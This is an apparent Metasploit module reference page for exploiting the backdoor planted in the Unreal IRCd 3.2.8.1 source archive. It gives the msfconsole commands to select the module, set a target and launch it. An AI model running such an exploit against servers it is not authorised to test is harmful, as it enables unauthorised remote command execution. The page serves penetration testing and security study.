This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
Unix
cmd
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > show targets
...targets...
msf exploit(unreal_ircd_3281_backdoor) > set TARGET < target-id >
msf exploit(unreal_ircd_3281_backdoor) > show options
...show and set options...
msf exploit(unreal_ircd_3281_backdoor) > exploit
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